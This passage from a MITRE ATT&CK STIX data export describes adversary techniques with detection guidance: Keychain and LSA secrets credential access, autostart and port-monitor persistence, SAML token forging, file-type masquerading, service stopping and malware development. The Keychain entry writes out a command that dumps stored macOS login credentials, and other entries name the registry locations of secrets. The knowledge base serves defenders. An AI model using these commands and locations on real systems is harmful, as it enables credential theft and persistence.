Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command <code>security dump-keychain \u2013d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>. Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)  ", "modified": "2022-04-18T20:32:22.122Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Keychain", "x_mitre_detection": "Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation", "Process: OS API Execution", "File: File Access"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-16T12:26:07.945Z", "name": "Boot or Logon Autostart Execution", "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns)  Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \n\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Process: OS API Execution", "Module: Module Load", "Command: Command Execution", "File: File Creation", "Windows Registry: Windows Registry Key Creation", "Windows Registry: Windows Registry Key Modification", "File: File Modification", "Kernel: Kernel Module Load", "Process: Process Creation", "Driver: Driver Load"], "x_mitre_permissions_required": ["User", "Administrator", "root"], "type": "attack-pattern", "id": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", "created": "2020-01-23T17:46:59.535Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1547", "external_id": "T1547"}, {"source_name": "Cylance Reg Persistence Sept 2013", "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.", "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"}, {"source_name": "MSDN Authentication Packages", "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.", "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx"}, {"source_name": "Microsoft Run Key", "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.", "url": "http://msdn.microsoft.com/en-us/library/aa376977"}, {"source_name": "Microsoft TimeProvider", "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.", "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx"}, {"source_name": "Linux Kernel Programming", "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.", "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"}, {"source_name": "TechNet Autoruns", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Ed Williams, Trustwave, SpiderLabs"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "type": "attack-pattern", "created": "2020-02-21T16:22:09.493Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1003.004", "url": "https://attack.mitre.org/techniques/T1003/004"}, {"source_name": "Passcape LSA Secrets", "url": "https://www.passcape.com/index.php?section=docsys&cmd=details&id=23", "description": "Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020."}, {"source_name": "Microsoft AD Admin Tier Model", "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN", "description": "Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020."}, {"source_name": "Tilbury Windows Credentials", "url": "https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf", "description": "Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020."}, {"source_name": "ired Dumping LSA Secrets", "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets", "description": "Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020."}, {"url": "https://github.com/mattifestation/PowerSploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", "source_name": "Powersploit"}], "modified": "2021-04-21T21:12:38.361Z", "name": "LSA Secrets", "description": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets</code>. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Access", "Command: Command Execution"], "x_mitre_permissions_required": ["SYSTEM"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Stefan Kanthak", "Travis Smith, Tripwire"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125", "type": "attack-pattern", "created": "2017-05-31T21:30:26.057Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1013", "url": "https://attack.mitre.org/techniques/T1013"}, {"url": "http://msdn.microsoft.com/en-us/library/dd183341", "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.", "source_name": "AddMonitor"}, {"url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf", "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint slides&#93;. Retrieved November 12, 2014.", "source_name": "Bloxham"}, {"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "source_name": "TechNet Autoruns"}], "modified": "2020-01-24T19:47:55.183Z", "name": "Port Monitors", "description": "A port monitor can be set through the  (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "* Monitor process API calls to  (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_effective_permissions": ["SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Network"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8", "type": "attack-pattern", "created": "2020-10-19T18:47:08.759Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1600", "url": "https://attack.mitre.org/techniques/T1600"}, {"source_name": "Cisco Synful Knock Evolution", "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."}, {"source_name": "Cisco Blog Legacy Device Attacks", "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}], "modified": "2020-10-21T22:37:49.258Z", "name": "Weaken Encryption", "description": "Adversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Modification"], "x_mitre_defense_bypassed": ["Encryption"], "x_mitre_permissions_required": ["Administrator"], "x_mitre_is_subtechnique": false}, {"modified": "2024-03-01T17:55:56.116Z", "name": "SAML Tokens", "description": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Blake Strom, Microsoft 365 Defender", "Oleg Kolesnikov, Securonix", "Jack Burns, HubSpot"], "x_mitre_deprecated": false, "x_mitre_detection": "This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)\n\nConsider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Azure AD", "SaaS", "Windows", "Office 365", "Google Workspace", "IaaS"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Web Credential: Web Credential Usage", "Web Credential: Web Credential Creation", "Logon Session: Logon Session Creation", "User Account: User Account Authentication", "Logon Session: Logon Session Metadata", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", "created": "2020-12-17T15:24:12.240Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1606/002", "external_id": "T1606.002"}, {"source_name": "Microsoft SolarWinds Steps", "description": "Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.", "url": "https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/"}, {"source_name": "Microsoft SAML Token Lifetimes", "description": "Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020.", "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes"}, {"source_name": "Microsoft SolarWinds Customer Guidance", "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.", "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"}, {"source_name": "Cyberark Golden SAML", "description": "Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.", "url": "https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"}, {"source_name": "Sygnia Golden SAML", "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.", "url": "https://www.sygnia.co/golden-saml-advisory"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "macOS", "Linux", "Office 365", "SaaS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Shailesh Tiwary (Indian Army)", "Mark Wee", "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", "type": "attack-pattern", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1192", "url": "https://attack.mitre.org/techniques/T1192"}, {"external_id": "CAPEC-163", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/163.html"}, {"source_name": "Trend Micro Pawn Storm OAuth 2017", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks", "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019."}], "modified": "2020-03-02T19:21:35.153Z", "name": "Spearphishing Link", "description": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications  designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_detection": "URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections for Spearphishing Link take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_is_subtechnique": false}, {"modified": "2023-06-14T23:03:51.540Z", "name": "Masquerade File Type", "description": "Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\u2019s signature, extension, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\u2019s type. For example, the header of a JPEG file,  is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign.  Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of <code>test.gif</code>. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["CrowdStrike Falcon OverWatch", "Ben Smith, @ezaspy"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["File: File Modification", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471", "created": "2023-03-08T22:40:06.918Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1036/008", "external_id": "T1036.008"}, {"source_name": "polygot_icedID", "description": "Lim, M. (2022, September 27). More Than Meets the Eye: Exposing a Polyglot File That Delivers IcedID. Retrieved September 29, 2022.", "url": "https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "created": "2019-03-29T19:00:55.901Z", "x_mitre_version": "1.2", "external_references": [{"source_name": "mitre-attack", "external_id": "T1489", "url": "https://attack.mitre.org/techniques/T1489"}, {"source_name": "SecureWorks WannaCry Analysis", "url": "https://www.secureworks.com/research/wcry-ransomware-analysis", "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019."}, {"source_name": "Talos Olympic Destroyer 2018", "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."}, {"source_name": "Novetta Blockbuster", "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)", "modified": "2022-07-28T18:47:11.957Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Service Stop", "x_mitre_detection": "Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\n\nMonitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.\n\nAlterations to the service binary path or the service startup type changed to disabled may be suspicious.\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, <code>ChangeServiceConfigW</code> may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_is_subtechnique": false, "x_mitre_data_sources": ["Process: Process Creation", "Process: Process Termination", "Windows Registry: Windows Registry Key Modification", "Command: Command Execution", "File: File Modification", "Process: OS API Execution", "Service: Service Metadata"], "x_mitre_impact_type": ["Availability"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "type": "attack-pattern", "created": "2020-10-01T01:33:01.433Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1587.001", "url": "https://attack.mitre.org/techniques/T1587/001"}, {"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "source_name": "Mandiant APT1"}, {"source_name": "Kaspersky Sofacy", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"}, {"source_name": "ActiveMalwareEnergy", "description": "Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.", "url": "https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/"}, {"source_name": "FBI Flash FIN7 USB", "url": "https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/", "description": "The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022."}, {"source_name": "FireEye APT29", "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"}], "modified": "2022-01-14T17:14:27.890Z", "name": "Malware", "description": "Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)\n\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\n\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": 